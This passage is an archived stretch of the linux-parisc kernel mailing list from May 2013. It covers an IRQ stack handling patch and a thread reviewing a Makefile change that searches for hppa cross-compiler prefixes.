+	/* check irq stack usage */
+	stack_start = (unsigned long) &per_cpu(irq_stack_union, cpu).stack;
+	stack_usage = sp - stack_start;
+
+	last_usage = &per_cpu(irq_stat.irq_stack_usage, cpu);
+	if (unlikely(stack_usage > *last_usage))
+		*last_usage = stack_usage;
+
+	if (likely(stack_usage < (IRQ_STACK_SIZE - STACK_MARGIN)))
+		return;
+
+	pr_emerg("stackcheck: %s will most likely overflow irq stack "
+		 "(sp:%lx, stk bottom-top:%lx-%lx)\n",
+		current->comm, sp, stack_start, stack_start + IRQ_STACK_SIZE);
+	goto panic_check;
+
+check_kernel_stack:
+#endif
+
+	/* check kernel stack usage */
+	last_usage = &per_cpu(irq_stat.kernel_stack_usage, cpu);
 
 	if (unlikely(stack_usage > *last_usage))
 		*last_usage = stack_usage;
@@ -398,31 +429,66 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 		 "(sp:%lx, stk bottom-top:%lx-%lx)\n",
 		current->comm, sp, stack_start, stack_start + THREAD_SIZE);
 
+#ifdef CONFIG_IRQSTACKS
+panic_check:
+#endif
 	if (sysctl_panic_on_stackoverflow)
 		panic("low stack detected by irq handler - check messages\n");
 #endif
 }
 
 #ifdef CONFIG_IRQSTACKS
-DEFINE_PER_CPU(union irq_stack_union, irq_stack_union);
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union) =
+	{ .lock = __RAW_SPIN_LOCK_UNLOCKED((irq_stack_union).lock)  };
 
 static void execute_on_irq_stack(void *func, unsigned long param1)
 {
-	unsigned long *irq_stack_start;
+	union irq_stack_union *union_ptr;
 	unsigned long irq_stack;
-	int cpu = smp_processor_id();
+	raw_spinlock_t *irq_stack_in_use;
 
-	irq_stack_start = &per_cpu(irq_stack_union, cpu).stack[0];
-	irq_stack = (unsigned long) irq_stack_start;
-	irq_stack = ALIGN(irq_stack, 16); /* align for stack frame usage */
+	union_ptr = &per_cpu(irq_stack_union, smp_processor_id());
+	irq_stack = (unsigned long) &union_ptr->stack;
+	irq_stack = ALIGN(irq_stack + sizeof(irq_stack_union.lock),
+			 64); /* align for stack frame usage */
+
+	/* We may be called recursive. If we are already using the irq stack,
+	 * just continue to use it. Use the atomic ldcw instruction to serialize
+	 * the irq stack usage.
+	 */
+	irq_stack_in_use = &union_ptr->lock;
+	if (!do_raw_spin_trylock(irq_stack_in_use)) {
+		void (*direct_call)(unsigned long p1) = func;
 
-	BUG_ON(*irq_stack_start); /* report bug if we were called recursive. */
-	*irq_stack_start = 1;
+		/* We are using the IRQ stack already.
+		 * Do direct call on current stack. */
+		direct_call(param1);
+		return;
+	}
 
 	/* This is where we switch to the IRQ stack. */
 	call_on_stack(param1, func, irq_stack);
 
-	*irq_stack_start = 0;
+	/* free up irq stack use. */
+	do_raw_spin_unlock(irq_stack_in_use);
+}
+
+asmlinkage void do_softirq(void)
+{
+	__u32 pending;
+	unsigned long flags;
+
+	if (in_interrupt())
+		return;
+
+	local_irq_save(flags);
+
+	pending = local_softirq_pending();
+
+	if (pending)
+		execute_on_irq_stack(__do_softirq, 0);
+
+	local_irq_restore(flags);
 }
 #endif /* CONFIG_IRQSTACKS */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix NATIVE set up in build
Date: Thu, 9 May 2013 01:04:02 -0400
Organization: wh0rd.org
Lines: 43
Approved: news@gmane.org
Message-ID: <201305090104.03897.vapier@gentoo.org>
References: <1367686258-28525-1-git-send-email-vapier@gentoo.org> <BLU0-SMTP74F2A5D74A5FB368D237A797BA0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2005987.WZF54iGmYA";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368075849 27696 80.91.229.3 (9 May 2013 05:04:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 05:04:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 07:04:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaJ1Q-0004d9-0T
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 07:04:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751609Ab3EIFD6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 01:03:58 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:60043 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751567Ab3EIFD6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 01:03:58 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id AB5EA33D3D7;
	Thu,  9 May 2013 05:03:57 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <BLU0-SMTP74F2A5D74A5FB368D237A797BA0@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5003>

--nextPart2005987.WZF54iGmYA
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

On Tuesday 07 May 2013 19:24:04 John David Anglin wrote:
> This patch breaks builds on current Debian systems that want compiler
> prefixes
> like hppa64-linux-gnu-", "hppa-linux-gnu-" or no prefix for native 32-
> bit.  The NATIVE
> match previous failed and we got the correct FSF prefix.

that was the intention of the code
-mike

--nextPart2005987.WZF54iGmYA
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRiy5DAAoJEEFjO5/oN/WBFwcQANabeQfCkbQqutp+43LDb60a
1+R70iOCiYr67ksyg/JWZ8gEe24jxvI03tt+AYoOJ8q1rFAl5LW/Rqf9d2Yi+/+C
wt3/gklZdwmd51mzGUU3yPzIGqbp6tjSskyS1HnnGrzGi3a7vlAirtT5VAGBGIYT
kLlM4UoXymqggf4CK1xPB8P1kTTLTBfoBeRHDua09MoP9h5PstvyQoGndZGoDLBO
+0V0cOpKPSntSPyee3jyJoYR2lTL5ijWVDNS25q+Szouh2N5+rUrX9/U710x76JZ
DBx6jHO6X2QjuxOiHPboWEPNfeDm2uaGh1GJWjcbjXEbNOFHnqzWDiM0TUAUvOiD
l9TM3RV4CmdK+1XTGvRJLKmHsm3SvfiXGTBPPnrvsPoGA4BlpLt+6lS3br+lFqLg
lGYfcXnC9oHBJRoMn3fMQdesgOvNODf7ojkSb3owpVepFx5YXcp+JJ62duQXGIun
8XB2H07GbIrv+p8I3NjzWa8kvn6qJdY7A6dOf97FfTxq+K5E0m5UkPdNZAhz6zCo
1TXC92OZZ6VctEaE9Sltiko7IFcjlk9K7eDr0Hwue/Gw7szPCPFQLhpsMHlBS5Ro
1NBPHlUdI5nqwmbbDcElRLEuoJ8qeL8FwPhgI0qNdJZpZAOpB917s4itfLzav79p
iHdPBjVF1v71xTdqB02q
=rYV6
-----END PGP SIGNATURE-----

--nextPart2005987.WZF54iGmYA--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make default cross compiler search more robust
Date: Thu,  9 May 2013 01:08:35 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <1368076115-22262-1-git-send-email-vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1368076125 29961 80.91.229.3 (9 May 2013 05:08:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 05:08:45 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 07:08:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaJ5n-0000v3-0C
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 07:08:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750873Ab3EIFId (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 01:08:33 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:60131 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750831Ab3EIFId (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 01:08:33 -0400
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 6628433DEE1;
	Thu,  9 May 2013 05:08:32 +0000 (UTC)
X-Mailer: git-send-email 1.8.2.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5004>

People/distros vary how they prefix the toolchain name for 64bit builds.
Rather than enforce one convention over another, add a for loop which
does a search for all the general prefixes.  This code will run for both
native and cross builds when CROSS_COMPILE isn't explicitly set.

For 64bit builds, we now search for (in order):
	hppa64-unknown-linux-gnu
	hppa64-linux-gnu
	hppa64-linux

For 32bit builds, we look for:
	hppa-unknown-linux-gnu
	hppa-linux-gnu
	hppa-linux
	hppa1.1-unknown-linux-gnu
	hppa1.1-linux-gnu
	hppa1.1-linux
	hppa2.0-unknown-linux-gnu
	hppa2.0-linux-gnu
	hppa2.0-linux

Signed-off-by: Mike Frysinger <vapier@gentoo.org>
---
 arch/parisc/Makefile | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 2f967cc..523ae34 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -23,9 +23,6 @@ NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
-MACHINE		:= $(shell uname -m)
-NATIVE		:= $(if $(filter parisc%,$(MACHINE)),1,0)
-
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
@@ -35,12 +32,17 @@ WIDTH		:=
 endif
 
 # attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
-else
- ifeq ($(CROSS_COMPILE),)
- CROSS_COMPILE	:= hppa$(WIDTH)-linux-gnu-
- endif
+ifeq ($(CROSS_COMPILE),)
+CROSS_COMPILE := $(shell \
+	arches="hppa$(WIDTH)"; \
+	[ -z "$(WIDTH)" ] && arches="$$a hppa1.1 hppa2.0"; \
+	for a in $$arches; do \
+		for p in unknown-linux-gnu linux-gnu linux; do \
+			c="$$a-$$p-"; \
+			command -v $${c}gcc >/dev/null 2>&1 && echo $$c && break 2; \
+		done; \
+	done \
+)
 endif
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
-- 
1.8.2.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
Date: Thu, 9 May 2013 14:28:23 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20130509142823.444ac244@marga.jer-c2.orkz.net>
References: <1368076115-22262-1-git-send-email-vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368102515 1714 80.91.229.3 (9 May 2013 12:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 12:28:35 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 14:28:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaPxY-00025B-Qy
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 14:28:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751392Ab3EIM2c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 08:28:32 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:48044 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751309Ab3EIM2b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 08:28:31 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 053EF33BE5C;
	Thu,  9 May 2013 12:28:29 +0000 (UTC)
In-Reply-To: <1368076115-22262-1-git-send-email-vapier@gentoo.org>
X-Mailer: Claws Mail 3.9.1 (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5005>

On Thu,  9 May 2013 01:08:35 -0400
Mike Frysinger <vapier@gentoo.org> wrote:

> People/distros vary how they prefix the toolchain name for 64bit
> builds. Rather than enforce one convention over another, add a for
> loop which does a search for all the general prefixes.  This code
> will run for both native and cross builds when CROSS_COMPILE isn't
> explicitly set.

Several architectures appear to use a scriptlet called 
cc-cross-prefix for this. See scripts/Kbuild.include.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
Date: Thu, 09 May 2013 15:14:51 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <518BA14B.4060808@gmx.de>
References: <1368076115-22262-1-git-send-email-vapier@gentoo.org> <20130509142823.444ac244@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368105306 30783 80.91.229.3 (9 May 2013 13:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 13:15:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 15:15:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaQgX-0004h2-51
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 15:15:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751592Ab3EINPA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 09:15:00 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:62485 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751260Ab3EINO7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 09:14:59 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LpReN-1U6L7n3LQD-00fBwg for
 <linux-parisc@vger.kernel.org>; Thu, 09 May 2013 15:14:58 +0200
Original-Received: (qmail invoked by alias); 09 May 2013 13:14:58 -0000
Original-Received: from p54AD1435.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.20.53]
  by mail.gmx.net (mp031) with SMTP; 09 May 2013 15:14:58 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18/Qmww2W4/nkeajm33oC8Q0OJET5QJkFzcQ5mfsq
	3iU5q5ym8CCYzm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130509142823.444ac244@marga.jer-c2.orkz.net>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5006>

On 05/09/2013 02:28 PM, Jeroen Roovers wrote:
> On Thu,  9 May 2013 01:08:35 -0400
> Mike Frysinger <vapier@gentoo.org> wrote:
> 
>> People/distros vary how they prefix the toolchain name for 64bit
>> builds. Rather than enforce one convention over another, add a for
>> loop which does a search for all the general prefixes.  This code
>> will run for both native and cross builds when CROSS_COMPILE isn't
>> explicitly set.
> 
> Several architectures appear to use a scriptlet called 
> cc-cross-prefix for this. See scripts/Kbuild.include.

That's cool :-)

Basically this

+ifneq ($(SUBARCH),$(ARCH))
+       ifeq ($(CROSS_COMPILE),)
+               CROSS_COMPILE := $(call cc-cross-prefix, hppa$(WIDTH)-linux- hppa$(WIDTH)-linux-gnu-)
+       endif
 endif

should then be enough.

Do we really need to search for: 
	hppa1.1-unknown-linux-gnu
	hppa1.1-linux-gnu
	hppa1.1-linux
	hppa2.0-unknown-linux-gnu
	hppa2.0-linux-gnu
	hppa2.0-linux
on 32bit?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
Date: Thu, 9 May 2013 15:24:20 -0400
Organization: wh0rd.org
Lines: 90
Approved: news@gmane.org
Message-ID: <201305091524.22938.vapier@gentoo.org>
References: <1368076115-22262-1-git-send-email-vapier@gentoo.org> <20130509142823.444ac244@marga.jer-c2.orkz.net> <518BA14B.4060808@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1864624.gYLyY4Q3bx";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368127474 15361 80.91.229.3 (9 May 2013 19:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 19:24:34 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 21:24:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaWS6-0002Y8-8t
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 21:24:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753116Ab3EITYX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 15:24:23 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:39907 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752918Ab3EITYU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 May 2013 15:24:20 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id ABC7333DE43;
	Thu,  9 May 2013 19:24:19 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <518BA14B.4060808@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5007>

--nextPart1864624.gYLyY4Q3bx
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 09 May 2013 09:14:51 Helge Deller wrote:
> On 05/09/2013 02:28 PM, Jeroen Roovers wrote:
> > On Thu,  9 May 2013 01:08:35 -0400 Mike Frysinger wrote:
> >> People/distros vary how they prefix the toolchain name for 64bit
> >> builds. Rather than enforce one convention over another, add a for
> >> loop which does a search for all the general prefixes.  This code
> >> will run for both native and cross builds when CROSS_COMPILE isn't
> >> explicitly set.
> >=20
> > Several architectures appear to use a scriptlet called
> > cc-cross-prefix for this. See scripts/Kbuild.include.
>=20
> That's cool :-)
>=20
> Basically this
>=20
> +ifneq ($(SUBARCH),$(ARCH))
> +       ifeq ($(CROSS_COMPILE),)
> +               CROSS_COMPILE :=3D $(call cc-cross-prefix,
> hppa$(WIDTH)-linux- hppa$(WIDTH)-linux-gnu-)
> +       endif
>  endif
>=20
> should then be enough.
>=20
> Do we really need to search for:
> 	hppa1.1-unknown-linux-gnu
> 	hppa1.1-linux-gnu
> 	hppa1.1-linux
> 	hppa2.0-unknown-linux-gnu
> 	hppa2.0-linux-gnu
> 	hppa2.0-linux
> on 32bit?

Gentoo actively uses hppa1.1 and hppa2.0 (i'm not sure we have any systems=
=20
that don't use those).  we've seen some projects key off of those tuples (l=
ike=20
gmp) to change code selection.

similarly, the reason i included -unknown- is that is the tuple we use in=20
Gentoo for our native toolchain.  for 64bit ones, we've been using ${ARCH}6=
4-
linux as it was only good for building the kernel ... it didn't include a C=
=20
lib itself.

along that last line, hppa is the only target anymore where we have a=20
dedicated 64bit compiler for the kernel.  all the other ports have biarch=20
support in gcc/binutils :/.

CC_ARCHES =3D hppa$(WIDTH) hppa1.1 hppa2.0
CC_SUFFIXES =3D linux linux-gnu unknown-linux-gnu
CROSS_COMPILE :=3D $(call cc-cross-prefix, \
	$(foreach a,$(CC_ARCHES),$(foreach s,$(CC_SUFFIXES),$(a)-$(s)-)))
=2Dmike

--nextPart1864624.gYLyY4Q3bx
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRi/fmAAoJEEFjO5/oN/WBW90P/3+pZAjJvPvNPC/pZ56idmI2
yd/3AX8qQpu7LMnLcGRn922UwbIiMhsjssLSgWK7/I8lQcb9jl5o2YzeKW7UkHwS
61lGSP7taYnl3zW5mjAYflD+3u+HF6QsNuWJx5bE0XpVgs+z6E5p0ouiFM52OcgS
TmiTX9SF/vFYQ15F0gHepH8exT32HpyBw04a/BFy3C6nPteV2i80QODcOQUQ9XaW
r/ruR2cKcW4q5VF7SFWz2hn/HXoxw9ssLuCqYcaMGemB+y7JJrc3+/E6BeXHW+Y/
qWPMbh8sDMJsAtD92RtJq1f1iY7i9QY+MWIGN59P3OfXwtjDmiZJgMmz+iPO1bQ2
YhQz8YpqafChOoY2KQdNdu6nRgYzo6/T+6zcRh954oHEfTQHztzoawM2h+HdSuXr
R5JpzrKWY3pBHL8ne638VxLZCZ885sPBgkD0j2gkV+TbuGOJ5nfgVYzVr8+eCeVw
7esMXe5sOZ5pYbXKbF2Caq3Nv5WMl1pUYpKDecXNsSRSE8yCFlPua1a2m9WBnsJy
dEm205p7WqNLL3+dTidI/NuWN0G5TFqERHSN+e7f4dSegKSVeOpuZOXJLutcGZYs
qVnGX0jx6k8YuapyRex5jH5pu/jjJ9Mz6KYPZir2Ps+iKT+fMGIQPnl3tkLekXRE
Pq73QLKFMW9jRbBDvx+S
=vt7N
-----END PGP SIGNATURE-----

--nextPart1864624.gYLyY4Q3bx--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.10
Date: Thu, 09 May 2013 22:31:04 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <518C0788.8060200@gmx.de>
References: <20130507221102.GA5338@p100.box> <20130508113704.5ac23906e0e513b4a76d5b55@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368131471 25026 80.91.229.3 (9 May 2013 20:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 May 2013 20:31:11 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 09 22:31:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UaXUa-0004bj-Ln
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 May 2013 22:31:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753362Ab3EIUbI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 May 2013 16:31:08 -0400
